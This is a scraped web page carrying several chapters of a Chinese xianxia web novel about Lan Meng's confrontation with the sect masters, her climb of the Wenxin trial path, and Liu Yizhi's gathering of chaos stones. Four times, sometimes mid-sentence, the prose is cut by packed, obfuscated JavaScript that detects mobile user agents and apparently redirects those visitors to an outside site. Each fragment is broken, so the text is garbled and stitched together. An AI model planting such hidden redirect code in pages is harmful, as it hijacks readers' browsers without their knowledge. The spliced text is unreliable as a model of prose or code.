d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355745|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在藏典阁找到的阵法图纸捧给他看,“您看,这是我在藏典阁里找到的,叫‘鸿蒙神行阵’,瞧着像是个了不得的阵法,特来献给师傅。” 风菱衣“切”了一声,鄙夷道:“藏典阁里的?那不还是山到源的东西,就你这也算是孝敬为师?” “借花献佛嘛。”柳逸直打哈哈道。 风菱衣凝神看了看纸片,自然认出来了这是尧玦的东西,斜眼瞥了柳逸直一眼,心道这小子真是运气好。 “就一个残缺的阵法,你拿到的时候就只有这一张纸?”风菱衣疑惑道。 柳逸直点头,“就这一张,但我听说另一半在先贤祠里。” 先贤祠位于崤山山顶,不远处就是暾云炬,里面还有历任山主和掌炬的传承,除了几个大人物,只有每一届丹灵卫考核通过之人能进入一刻钟时间,守备极其森严。 “听说?”风菱衣挑眉道,“你听谁说的?” 柳逸直脸不红心不跳道:“岚孟说的。” 风菱衣果然信了,盯着阵法看了半晌,问道:“所以你是想让我去帮你拿另一半?” 柳逸直继续给他捶腿,笑道:“瞧您这话说的,既然已经孝敬给您了,又怎能说是‘帮我’?” 风菱衣却并不接他的马屁,哼道:“我还不知道你?有事相求的时候一口一个师傅,脸上能笑出个花来,背地里却骂我糟老头子,你以为我不知道?” 柳逸直讪讪一笑,谁让他风菱衣没个师傅的样子?他背地里骂几句怎么了?又不是当着他的面! 风菱衣心知自己这徒弟虽然花花肠子九曲十八弯,但没什么坏心思,做不出什么伤天害理的事情来,所以也没有逼问,只叫他在这里等着,便拿着阵法残片出去了。 虽然风菱衣不是山主,但是进先贤祠一趟并不是什么难事。所以柳逸直只在屋里等了不到一个时辰,风菱衣便拿着另外一张阵法图纸回来了。 “喏,你要的东西。”风菱衣将两张图纸一齐丢在了桌子上。 柳逸直将两张纸拾起来仔细查看。藏典阁里的图纸上只有线条和几个圆圈,先贤祠里的就复杂得多,有详细的批注解释,两张图纸叠在一起,便能直观地看出来这是个杀阵。 “内圈是风雷音光暗,外圈是金木水火土,各自引动元气布阵,就能灭杀阵法内的一切生灵,若内外相反,则作用亦相反……” 旁边还有一行小字:若条件有限,可用储存了五行灵气的混沌石替代。 柳逸直皱紧眉头,心想此阵按照五行相生相克之理布局,其精妙程度世间罕见,若是能凑齐十个不同灵根之人,将圣主困囿其中,说不定真能一举杀之。 他不由得想起了前不久才解封的记忆里,岚孟没有看到的内容,莫非尧玦的真正目的在于此处?那直接交予源主即可,又何必大费周章,绕那么多圈子,就为了让他得到鸿蒙神行阵? 不过转念一想,当时尧玦便已知道山到源内有叛徒要害他,贸然将鸿蒙神行阵和盘托出太过冒险,所以才会将希望都押在他一个毛孩子身上吗? 柳逸直不由得笑了笑,他可真是出息,竟能得堂堂掌炬另眼相看。 “师傅,那弟子就先回去了,您好好休息。” 柳逸直退了出去,贴心地拉上了门。 风菱衣听着他的脚步声逐渐远去,“呸”地一声吐出葡萄籽,将桌上的两张阵法图纸捻起来对着从窗边斜射进来的暮色看,怅然若失道:“尧玦啊尧玦,真不知道你这步棋走得是对是错……” 102. 乾霄阁 岚孟来到泉生门时,乾霄阁从事吴怀因已经候在那里了。 上一次见她还是丹灵卫考核的时候,夏澜熹等人在药炉疗伤,她借着象耳竺麻雀的眼睛躲在树林里头盔他们,还被柳逸直抓了个正着。 当时他就撩开她的帏帽看见她的脸了,回想起他僵硬的神色,说不定那会他就认出她来了,还装模作样地喊她师妹,当真是可恶至极。 岚孟驱散了脑海里某人似笑非笑的脸,朝吴怀因拱了拱手。 吴怀因盯着岚孟仔细打量,心说在自己看来,眼前这女子完全就是人族,身上一丝妖气也无,若不是山主有令命她前来迎候,哪能知道她就是昔日跟在尧玦身后那只小山雀?其隐蔽气息的能力当真是出神入化。 她回以一礼,“各位山主已在乾霄阁大殿等候,岚孟师妹随我来吧。” “劳烦吴师姐了。” 吴怀因进入山到源的时间可比岚孟多多了,又是隶属乾霄阁的从事,于情于理,她都当得起岚孟一声师姐。 从泉升门到乾霄阁有两条路,从西边走的话得绕过崤山,一是距离远,二是崤山上又是暾云炬,又是先贤祠的,为了避免瓜田李下之嫌,基本上没人会从西边走,而是从东边横穿落霞坞和焱堂。 日暮时分正是灵鹤们交接班的时候,天上一只灵鹤也无,两人便先来到了落霞坞地界里灵鹤栖息的地方,岚孟在沼泽地的另一边看到了两个熟人,娄雪沁和翟子续。 娄雪沁已经很久没见到岚孟了,立即开心地挥手和她打招呼。岚孟微微颔首致意,朝他们二人抛出两块木牌,然后便乘着灵鹤扬长而去。 翟子续看着手里平平无奇的木牌,皱眉疑惑道:“这是何物?” “有符咒的气息。”娄雪沁举着木牌仔细端详,鼻子凑近闻了闻,两眼放光道:“香香的,许是什么宝贝,待会去找柳师兄问一下,我听说他也回来了。” 翟子续沉吟道:“不过,闫扶音怎么和吴师姐走了?那个方向是乾霄阁吧?莫不是出了什么事?” 娄雪沁小心翼翼将木牌收了起来,满不在意道:“能出什么事?说不定是要论功行赏呢!你没听说吗?楚国龙脉差点被盗,还是扶音他们解决的呢,也不知道朝圣道那个圣主长什么样子。” “许是个青面獠牙的丑八怪。”翟子续道。 “哈哈哈哈!”两人不约而同大笑了起来。 身后忽然传来沙沙轻响,两人扭头看去,只见一身青衫的柳逸直从草丛里钻了出来,目光追随着空中渐行渐远的灵鹤。 娄雪沁惊喜道:“柳师兄!你怎么在这?我们正要找你呢!” 其实柳逸直已经来了好一会了,只不过躲着某人不愿现身,自然也听到了他们的谈话,他接过翟子续手中的木牌,端详片刻,复又递了回去。 “是个设定了触发时间的符咒,时间到了就会自动解开,不超过三日。” 娄雪沁疑惑道:“啊?闫扶音给我们这个做什么?难道是有什么特殊的用处?” 柳逸直猜测或许和他们身上未解开的记忆封禁咒有关系,但他并未多言,只说他道行浅薄,看不出这木牌是何用途。 又闲聊了几句,天色渐渐暗了,三人各自归去。 看见岚孟跟随吴怀因离开的不止他们三人,还有比试归来的何与飞。他和人约好了焱堂的演武堂切磋,以半招的优势取得了胜利,正美滋滋地跑向落霞坞,忽闻一阵清脆的鹤鸣,抬头一看,便望见了那个眼熟的背影。 他立即拿出传讯符输入灵气,“师傅师傅,闫扶音回来了!她果然去了乾霄阁!” 千里之外的奚玄门,满山的乌桕树已经长出了新芽,在微风中沙沙作响。掌门院子里,岳孤明捏碎了那一张传讯符,神色晦暗不明。 佟萧站在他身边,目光从窗外一边叽叽喳喳一边搭窝做巢的翠鸟身上移开,落在了碎成齑粉的传讯符上。 “师傅,您要去哪啊?”她问。 岳孤明摆了摆手,“这你就别多问了,为师不在这几天,就辛苦你驻守山门了。” 佟萧正色道:“弟子自当竭尽全力。” “你也不用太有压力,反正我们已经穷到揭不开锅了,想来也不会有梁上君子光顾。” “……那是因为三师弟闭关去了,六师弟做的饭太难吃了,才没有呈到您面前,师傅。” “这个老六!”岳孤明气道,“惯会糟蹋东西,让他别倒腾了,那本劳什子隐世高人编撰的食谱也烧了,要是我回来以后还看见他手里有这东西,就罚他扫洒整个山门!” 佟萧憋住笑:“是。” 岳孤明独自一人走下了山,一如当年他独自一人走上山,萧萧肃肃,利落成风。 在九州大陆的另一边,雍州。 远阔的天空被夕阳染成了橘红色,连绵起伏的山脉之间坐落着一座狭长的关隘,这就是雁门关。关中房屋皆依山势而建,炊烟袅袅,直冲云天。关隘北侧的高山上,一座十八层高塔巍峨屹立,外侧墙壁上镂刻了无数大大小小的罗汉像,长达千年的风吹日晒让佛像变得斑驳不堪,面容模糊难以辨认,只有那双眼睛依旧深邃而悲悯,注视着北方大地的芸芸众生。 佛塔的顶端悬浮着一枚不过成人巴掌大小的铃铛,无时无刻不散发着庄严圣洁的气息,铃舌随风而动,却鲜少发出声音,若是有朝一日出声了,那必然是九州浩劫来临的那一日。 在佛塔以北三千里的地方,便是人人谈之色变的九幽魔窟,那里栖居着浑身魔气缭绕的人和妖,或是因走火入魔而被驱逐至此的,或是受到仇人追杀而不得不隐匿于此的,他们在这里盘踞了数百年,没有一日不渴望着冲破梵音铃的禁制,踏破雁门关,喝人血,吃人肉,将自己千百年来所受的苦楚,都加诸于九州百姓之上。 佛塔第十层,一个鹤发童颜的老者负手而立,其衣着平平无奇,却给人仙风道骨之感,他的腰间挂着一个铃铛模样的玄铁腰牌,只刻着一个字——禅。 “崔长老!”一个年岁不大的男子从楼梯口爬了上来,走到老者身后恭敬道:“首座说她已经抓到那个朝圣道余孽了,已迫其入我禅宗之门,即刻将启程返回。” 崔弃吩咐道:“返宗之事不着急,让她往陵州去,山到源恐有大事发生。” 男子愣了一下,但并未多问,行礼退下,给夏澜熹传讯去了。 天边最后一抹斜阳也被地平线吞噬,北边茫茫大山一眼望不到头,良久,崔弃口中吐出一口浊气。 “就要变天了。” - 山到源,八位山主齐聚乾霄阁,等待着一个人的到来。 “源主,岚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360888|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟到了。” “进。”左愁双的声音透过紧闭的殿门传入吴怀因的耳中,她看向身侧的女子,低声道:“我就送到这里了,你自己进去吧。” 岚孟点了点头,径自推开了沉重的殿门。 萤石照亮了大殿的每一个角落,八位山主呈弧形端坐于高堂之上,最中间的是左愁双和玉成汝,左边是叶于明、梁齐安、彭隽,右边是羊玄、临琮和檀阜,他们的目光齐齐落在了岚孟身上,她毫不怯懦,不卑不亢地朝上首行了个弟子礼,然后端正站着,没有说话。 最后还是叶于明打破了僵局,他问:“此前许渭被暾云炬选中一事,可是你从中做了手脚?” 岚孟仰起头,直视他的眼睛:“是。” “哦?”叶于明似笑非笑道,“你倒是有几分本事,竟然能瞒得了神器,还有崤山的主人。” 隔着左愁双,他望向一脸肃静的玉成汝,挑眉问道:“先生可知此事?” 当初临琮也提到过岚孟的可疑之处,不过被玉成汝否决了,所以他们才满心欢喜地准备着掌炬继任一事,如今东窗事发,叶于明再提起此事,倒是有问责的嫌疑。 玉成汝还是那副风轻云淡的样子,并未理会叶于明的诘问。 羊玄插嘴道:“当初许渭身上并无术法的痕迹,不知你用了何种方法?” 岚孟没有隐瞒,直言不讳道:“尧玦的重羽,加上我的血,足以骗过暾云炬和诸位的眼睛。” 这话听着刺耳,彭隽脾气火爆,当下就不高兴了,毕竟许渭隶属于她的霆霓坊,他做出那等欺师灭祖的事情,她面子上也无光,躲了半年多不敢露面,霆霓坊界内的山石不知被她劈烂了多少,她怒目道:“你的意思是,我等皆是愚钝蠢笨之人?” 岚孟勾唇:“弟子岂敢?只不过实话实说罢了,诸位山主慧眼如炬,自然不是蠢笨之徒。” “不过,”她哂笑道,“将近二十年过去,诸位也没有发现残害尧玦的许渭及其同党,想来那双慧眼定是长在了头顶上,只知道天有多高,却不知人心险恶。” “你!”彭隽气急败坏,老好人梁齐安连忙拉住她,打圆场道:“童言无忌,童言无忌,你个几百岁的老人家和她计较做甚。” “岚孟快言快语,若是冲撞了山主,还请山主恕罪。”岚孟敷衍地朝彭隽赔礼道歉。 彭隽见她那皮笑肉不笑的样子就气不打一处来,但又碍着其他山主的面子不好发作,干脆大力地甩开了梁齐安的手,恼怒地侧过身去,眼不见为净。 叶于明又问:“高天也为你所杀?” 岚孟笑着承认,“是,他可是许渭的好帮手,这样的杂碎我可没有理由留着他在世上苟活。只可惜啊,高天死了,许渭却还在满世界蹦跶,前不久才发现他已然加入了朝圣道魔修的阵营,诸位山主,不觉得有些好笑吗?怎的还是让一个废人跑了,偌大的山到源,几千丹灵卫竟无一人可用?” 这话显然是憋着一股气呢,具体缘由在场的人没有人不清楚,无非就是尧玦被暗害,惨死于青丘,罪魁祸首却逍遥法外,而她作为其弟子,为尧玦鸣不平罢了。 “所以你意欲何为?”左愁双终于开口,问出了这一场山主会议的首要目的。 岚孟笑了起来。 “不如就让我当个掌炬玩玩?” 103. 问心道 “笑话!”彭隽一拍桌子,怒道:“掌炬岂是你想当就能当的?就算你是尧玦的弟子,也该守守我们山到源的规矩!” “彭山主觉得我不够格吗?”岚孟笑问,“那您以为我的血是如何能引得暾云炬异动的?就算是有重明尾羽,那也不过是一片失了神力的羽毛而已,暾云炬好歹也是神器,会被一片小小的羽毛戏弄不成?” 彭隽冷哼道:“谁知道你耍了什么把戏。”她看向左愁双,断言道:“源主,此子断不可信!她如果真有调动暾云炬的本事,何不大大方方的走进山门秉明来意,九州苦魔修久矣,若是有继任掌炬之人,岂不是天大的好事?我宗向来要求掌炬智圆行方,有仁爱之心,方能带领丹灵卫惩奸除恶。但岚孟此人却隐瞒身份,玩弄所有人于股掌之间,若是这样的居心叵测之徒都能继任掌炬,我彭隽第一个不答应!” 梁齐安朝她递去一个狐疑的眼神,小声嘟囔道:“谁管你答不答应,这又不是投票决定的……” 彭隽哪能听不见他的话,心中像是烈火灼烧,她狠狠踹了梁齐安这个拖后腿、唱反调的人一脚,梁齐安疼得龇牙咧嘴,嘴上就没个把门,骂骂咧咧道:“你这臭婆娘,不就是许渭的事情让你丢了面子么?至于这般咄咄逼人?连老夫你都敢踢,真是活得不……” 彭隽狠狠递去一记眼刀,左愁双也掩唇咳嗽了一声,警告意味十足,梁齐安尚未脱口的话在唇舌间溜了一圈,变成了“不……不错啊!有仇当场就报,不把气憋在心里,念头通达了修为自然能更上一层楼,老夫真是受教了。” “哈哈。”临琮不客气地笑出了声,自然,他也收获了彭隽一记怒瞪,然而两人相隔甚远,即便彭隽的腿再长也够不到他。 “好了。”左愁双拍了拍手掌打断这场闹剧,他颇为无语地看了三人一眼,“在弟子面前吵得不可开交,你们几位也不嫌丢人。” 左愁双的面子彭隽不得不给,所以她只能在心里记了一笔:散会后定要痛扁梁齐安和临琮一顿,才不枉她霆霓坊山主之名…… 一直沉默的玉成汝忽然开了口:“许渭和高天固然有错,可岚孟冒用奚玄门的名额,视宗门礼法于无物,实乃有错在先,吾以为不可轻轻放过。” “先生有何高见?”左愁双问道。 “让她登崤山,淌梦河,若事成,自然皆大欢喜,否则,驱逐出境,再也不得踏入山到源一步。” 此言一出,在场所有人无不震惊地看着玉成汝,这个自山到源开宗立派之时起便驻守崤山的长者。他一向对宗门事务漠不关心,说出如此严重的惩罚还是头一回。 要知道,山到源乃是九州第一仙门,若是被放逐,相当于是在身上刻下了罪人烙印,修道中人为之不齿,也会被其他宗门排挤,修行界很多资源都掌握在各个宗门手中,除非是天赋异禀,只吐纳灵气便可得道升仙,否则,说是断送了修行之路也不为过。 左愁双沉吟片刻,朝岚孟温和道:“岚孟,你也和圣主交过手了,不难看出此獠极其难缠,风菱衣也带回了九幽群魔意欲攻打九州的消息,大战在即,天下每一个修士都不能置身事外,你我亦是如此。你若是有执掌暾云炬、带领所有丹灵卫歼灭魔修的勇气和意志,我们自然扫榻相迎。” 岚孟低眉顺眼道:“源主放心,圣主乃是谋害尧玦的凶手,我恨不得扒了他的皮,定会竭尽心力扫荡一切魔族。” 左愁双点了点头,“但你隐瞒实情一事毕竟有错,不可轻轻放过,我可以给你机会,容你登上崤山一试,但你若是败了,山到源也容不下不听管教之辈,你可明白?” 岚孟勾唇一笑,毕恭毕敬道:“弟子明白。” 左愁双看着她桀骜不驯的神情,心想不愧是尧玦教出来的弟子,他环顾四周,“诸位山主可还有异议?” 梁齐安毫无形象地伸了个懒腰,散漫地像是在自己家一样,慵懒道:“没意见,若是能迎来新的掌炬自然极好,可最坏也不过是失去一个闻道境的丹灵卫而已,不可惜。” 檀阜摇摇头:“我就是一管饭的,这些事情诸位商量就行。” 彭隽哼了一声,二十年来那么多丹灵卫都以失败告终,她区区一个不足百岁的小妖,靠着尧玦的荫庇才得以修为人形,暾云炬有什么理由非她不可? 其余人也没有意见,于是山主会议结束,约定好明日天亮登崤山以后,岚孟便被送出了大殿之外。 山主们也陆陆续续离开,最后只剩左愁双和叶于明两人。脚步声从屏风后传来,一个吊儿郎当的少年啃着梨子走了出来,大喇喇坐在了左愁双旁边的位置上。 “唉……”风菱衣吃着吃着,忽然长叹一口气,“你们不觉得这样做有点太残忍了吗?你们的良心不会痛吗?” 叶于明瞥他一眼,挑眉道:“怎么,风令尹后悔了?” “我就是心疼我那爱徒而已,小小年纪,却要背负那么多爱恨情仇……” 他的目光往右一转,轻轻落在了左愁双手边的桌子上,那里赫然放置着一根颜色鲜亮的羽毛,赤红如烧了半边天的晚霞,又如秋日里染血的枫叶。 话题之中的人等在从乾霄阁到崤山的必经之路上,一身青衫落拓不羁,萧萧肃肃,如松如竹。 岚孟目不斜视地从他身边经过,尚未远离,手腕便被攥住,力气之大令她眉头紧锁,暗含隐忍的询问传入耳中:“再没有转圜的余地了吗?” 岚孟脚步一顿,凉爽的夜风从她的发丝间梳过,吹去了浮躁,只剩心底一湖安宁与执着。 她说:“我早已无法回头。” 柳逸直苦笑一下,放开了她的手腕。 “希望你不要后悔,还有,祝你心想事成。” 岚孟没有说谢,大步流星朝崤山走去。 柳逸直举头回望,只望见她瘦削的背影逐渐消失在漆黑密林之中。 - 夜已深了,天幕上零零散散点缀着几颗星星,夜风呼呼地吹,幽幽咽咽好似厉鬼嚎哭。 时隔二十年,岚孟再一次站在了崤山脚下,不同以往的是,从前她只不过是一只生了灵智的雀莺,无忧无虑,无知而无畏,天大的烦恼也不过是早饭吃什么、晚饭吃什么。 那时她从未想过永远挡在自己身前顶起一片天的人会倒下。尧玦总说,小孟孟啊,快些长大吧,所以她虽然不理解,但也盼着长大,盼着自己能成为他的助力,做他坚强的后盾,后来才明白,长大都是需要付出代价的。 山间生起了薄雾,温度一下子降了下来,寒气逼人。四面八方的灵气都汇聚到了岚孟身上,她闭了闭眼睛,睁眼以后瞳孔已经变成了深邃的蓝色,搭在肩头半长不短的乌发一寸寸变长,蓝色从头顶开始往下晕染。 似有一声清脆的啼鸣,一时间万籁俱寂,空气都静止了,山川草木也敛气屏声。好似有一滴水落在了平静湖面上,波纹一层一层荡漾开来,风与灵气同时从她身上迸发开来。 “唰——”衣裙猎猎作响,长发在空中飘扬,岚孟踏进了崤山的领域,脚下立即浮现了第一级台阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367762|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,紧接着泛着柔光的台阶一级一级往上垒,延伸至耸入云端的崤山之巅。 这条路叫做“问心道”,除非被暾云炬先行选中,否则凡是想要执掌神器之人,都需要一步一个脚印爬上九百九十级台阶,登上峰顶,才有资格掌握这天下第一的神器。这一路上困难重重,有检验修为的剑阵,有针对道心而设的心性试炼,有冰火交织的五行阵法…… 千年以来,通过问心道登上崤山之巅的人屈指可数,更多人尚未行至一半便已经身负重伤,或半途而废,或难以前行了。 偷梁换柱的戏码岚孟已经在许渭身上用过一次,所以已经行不通了,更何况她不单单只要暾云炬的注视,她还要它臣服,心甘情愿为我所用,所以她必须堂堂正正地走到暾云炬面前,否则就会步辛念的后尘。 如今万事俱备,她必须一举拿下暾云炬,否则再没有今天这样的机会。 岚孟一步步朝山上走去,刺骨的寒风刮在脸颊上犹如刀割,飓风席卷而来,几乎能将人刮下山去,嗖嗖风声中夹杂着不同寻常的破空之声,她敏捷地腾空而起,向后闪避了好几级台阶,而她原来所在的地方插着几只冷箭。 双腿尚未站稳,她忽然感觉到一阵失重感,脚下腾空,她沉入了冰冷的湖水之中,高天、许渭、道零仙人,魅妖……无数惨死于她手下的亡魂吼叫着朝她扑来,皆是七窍流血、肠穿肚烂的惨状,岚孟只慌乱了一瞬,便抽出腰间商刀朝鬼魂幻影挥斩,他们便如烟气般消散了,她猛地从幻境中清醒,衣衫被冷汗浸湿,整个人好像真的从水里捞出来一般。 岚孟跌倒在台阶上,大口大口喘着粗气,握着商刀的手微微颤抖,她揩了揩额头的汗水,继续朝上方爬去。 又经历了刀剑齐发的剑阵和烈火灼烧的五行阵法,幻境再一次席卷而来,淹没了她的意识。 这一次,尧玦活了过来,却没有像从前一般温柔地摸她的头发,他指着她的鼻子破口大骂,说她不该异想天开地想要复活一个死人,他早就受够了她,一个小小的山雀居然想要和老天比谁更高,让他在地下也不得安宁…… 今望月,霜笛,王麻虎,甚至昭离也冒了出来,脸上愤怒和唾弃交织在一起,全都指着她的脊梁骨,说她痴心妄想,说她不自量力,说她明知不可而为之,是天底下最傻的傻瓜…… 岚孟想像方才一样挥刀,可她却迟疑了,当真是她错了吗?当真是她强求吗?可世间为何这般不公?为什么好人没有好报?为什么死的是尧玦而不是别人?为什么她做什么都是错…… “你没有错!” 男子铿锵有力的声音忽然传入耳中,岚孟猛地回头,于浓雾之中望见了一个模糊的身影,模样身形皆不可察,但她好像知道那是谁。 “你可以去做你想要做的任何事情!何须在意他人眼光!” 是了,她可是岚孟,天上地下仅此一个,她做事,何须别人评判? 忽有一束光破开黑暗照在了她身上,岚孟眼中的恐惧和犹疑化作了执着和坚定,还不等她挥刀斩邪祟,那些指责、否定和谩骂全都消散一空,她猛然回神,才发现自己已经瘫倒在了台阶上,脸上满是泪痕。 一滴滴泪珠漂浮了起来,她心有所感,将为“孟婆伤心泪”准备的琉璃瓶取了出来,悬浮的泪珠便一个接一个掉进了琉璃瓶里。 “……混蛋。” 岚孟暗骂一声,也不知道在说谁,她又哭又笑,良久,才收拾好心情,抬步朝山上走去。 这一次,她将无坚不摧。 104. 混沌石 崤山山脚,柳逸直望着那个瘦削的身影一步步往上攀登。他不知道她经历了些什么,着实为她捏了把汗。 只看得见她时而挥剑舞刀,时而怔愣地站在原地不动,然后失去意识一般身子一软摔在台阶上,过了很久才会苏醒过来,收拾好自己重新往上攀爬。 问心道注重考验心性,唯有意志坚韧、无坚不摧之人可登临顶峰,古往今来有多少人折损于此?更有甚者,下山之后便疯疯癫癫,再与仙途无源。 尽管再担心再忧虑,柳逸直也只能干看着,帮不上什么忙。问心道一旦开启,便不允许第二人通行,除非岚孟登顶,或是主动放弃,否则无人能再入崤山。 渐渐地,天色将晞未晞,远处的山峦之上已经泛起了一丝鱼肚白,岚孟已经爬了三百来级台阶,再往上便是难度只会更大,她攀爬的速度已经慢了下来,不过再没有跌落过,柳逸直稍微松了一口气,回到了北园居所。 他找了把锄头,在距离松树根部三尺的地方挖了好几个洞,几乎以那株枫树为圆心挖了一整圈,锄头才碰到了一个硬物,他面上一喜,丢了锄头转而用手刨土,小心翼翼将埋在地下不知多少年的铜制盒子刨了出来。 紧闭房门落下结界,他仔细钻研着铜盒上的禁制,费了一番功夫才将其解开,揭开盒盖,只见十个晶莹剔透的晶石整齐码在盒中,每一个都有巴掌大,晶石呈梭形,两头尖中间粗,表面还有不规则的棱角,透明的晶体内部有细碎光芒,从不同角度看时颜色各不相同,这就是混沌石,价值连城,几百万灵石也买不来一块。 柳逸直哑然失笑。 “还说什么要不要插手全由我自己定夺,你这不是已经把所有准备都做好了么,算准了我不会袖手旁观是吧……” 既然已经有了混沌石,那储备灵气的事情也得提上日程了,甚至迫在眉睫。柳逸直先自己尝试了一下,集中全身灵力往其中灌注灵气,花费一个时辰的时间才能将晶石注满,若是用聚灵阵的话,估计得用上七八个时辰的时间。 按照他的推测,岚孟登上崤山之巅需要两到三天,时间着实不算充裕。金、木、水、火、土基本五行灵气可以用聚灵阵,毕竟灵气充裕,但其余变异灵气却不好收集,他只能找别人帮忙。 音系灵气已储存好了,估计是当时尧玦备下的,风系灵气已有,光灵根修士他只知道一个白渐行,暗系灵气可以拜托秦谬,至于雷系……丹灵卫里雷灵根者不算多,他和那些人都不熟,而且他们也都不在宗门里,看来只能去找夏澜熹了。 打定主意以后,柳逸直先去南园找了白渐行。听明他的来意以后,白渐行很愉快地接受了他的请求,毕竟他也拿出了等价交换之物,秦谬亦是如此。 时间悄然逝去,转眼已经到了午后,得知夏澜熹身处五百里之外的方尺镇,柳逸直立即马不停蹄赶了过去。 令他意想不到的是,贺舟晏居然也在,他如是说:“贺某活了大半辈子,今日方知佛法高深,原来听秃驴念经也别有一番风味,所以弃暗投明,现在已是禅宗的一份子了,你说是吧,夏师姐?” 说这话时他咬牙切齿,一双眼睛紧紧盯着夏澜熹,眼中恼怒显而易见,可不像是“自愿”入禅宗的样子。反观夏澜熹,一脸的神清气爽,喝着乡野粗茶也怡然自得,颇有些小人得志的意味。 柳逸直现在也没工夫探究他们之间有什么纠葛,道清原委以后,便让夏澜熹提条件,他定当全力满足。 夏澜熹只问了一句:“岚孟何在?” 柳逸直没有隐瞒,“她在闯问心路试炼。” 闫扶音就是岚孟的消息已经小范围地传开了,世人或许不知道“岚孟”是谁,但尧玦的大名可是如雷贯耳,想想也知道尧玦的弟子不是凡俗之辈。 听闻此言,夏澜熹意味不明地笑了一声,“说什么要靠自己的实力拿下暾云炬,最后还不是沾了尧玦的光?” 柳逸直抿着唇没有接话。 贺舟晏却从他的沉默里品出了不寻常的气味,他问:“怎么,你和她吵架了?”明明之前好得跟一个人似的。 柳逸直皱着眉:“没有。” 当然没有吵架,甚至没有红过脸,说过一句重话,他只不过是被那个心肠硬得像是石头的女人睡了,夺走了元阳,然后单方面被抛弃了而已。 贺舟晏幸灾乐祸地笑了起来,“我本将心向明月,奈何明月照沟渠啊……” 柳逸直的脸色又黑了几分。 夏澜熹闻道大圆满境界,充满混沌石只用了一炷香的功夫,她把玩着因灵气充裕而闪着细碎光芒的混沌石,似笑非笑地看着柳逸直,“我不知道你们在玩什么把戏,但若是有害于九州,我既为禅宗首座,就算是冒着天下之大不韪,也要替山到源清理门户。” 柳逸直灿然笑道:“此事若成,我们将重新迎回击溃朝圣道最大的助力;若败,却有可能一举铲除九州的毒瘤,怎么算都是一本万利的事情,夏首座放宽心即可。” 夏澜熹看着他一脸泰然,并没有把自己的威胁放在眼里,将混沌石丢还给他,神色有所缓和,她道:“这样最好不过,这次权当是我日行一善,就不收你什么东西了。” 柳逸直将混沌石收了起来,起身道谢,然后转身离开,就在他即将踏出房门之时,身形一顿,没回头道:“我记得,夏首座问过岚孟,尧玦的天赋是什么,对吧?” “怎么,你知道?” “只是在下的猜测,是真是假还请夏首座自己定夺。” 他说:“尧玦的天赋,或许是预知。” 柳逸直走了很久,夏澜熹还保持着原来的动作没有动弹。她觉得,柳逸直的猜测一点也没错。 窥探天机,预知后事,所以算无遗策,运筹帷幄之中,决胜千里之外,就算是身死道消,也影响着这个世间的风云流转,这就是神鸟重明,大妖尧玦。 - 柳逸直在山到源附近寻了几个隐秘之地设置了聚灵阵用来给混沌石注灵。也许是老天都在帮他,不消半日光景,混沌石便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377335|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能吸收满相应属性的灵气,这和混沌石本就有储存吸纳灵气的功效也有一定关系。 时间快进到第二日深夜,费尽一番功夫,柳逸直终于集齐了五行灵气。正打算赶回山到源,一个不速之客忽然闯入了他的视野。 那人一袭黑袍,头上还带着一顶黑纱幕篱,从头到脚都裹得严严实实,一看就不是什么正经人,实力也远在他之上,在那人刻意裁断树枝让他察觉之前,他根本就没有意识到有人靠近。 柳逸直迅速将混沌石收起,继而抽出铜剑,剑尖直指那人,他低喝道:“来者何人?” 那人开口,柳逸直方知是个女子,她说:“小兄弟,敢问你手里的混沌石从何处得来?” 柳逸直紧紧护住了怀里的芥子袋,眼中满是警惕,“与阁下何干?” “我只是好奇而已啊,毕竟混沌石这种稀罕物,我活了这么多年也只见过一次,都没上手摸过,实在是好奇得紧,便想问问你东西从哪来的,若是有机会,我也去搞两块玩玩而已。” 她笑起来:“你放心,我不是什么坏人,不会上手硬抢的。” 柳逸直心中警惕不减,身体绷似一张弓,做好了随时逃走的准备,剑尖也未曾垂落,始终正对着那女子的面门。 “偶然所得罢了,阁下若是真的想要,恐怕得另觅他处,在下还有急事,便不奉陪了。” 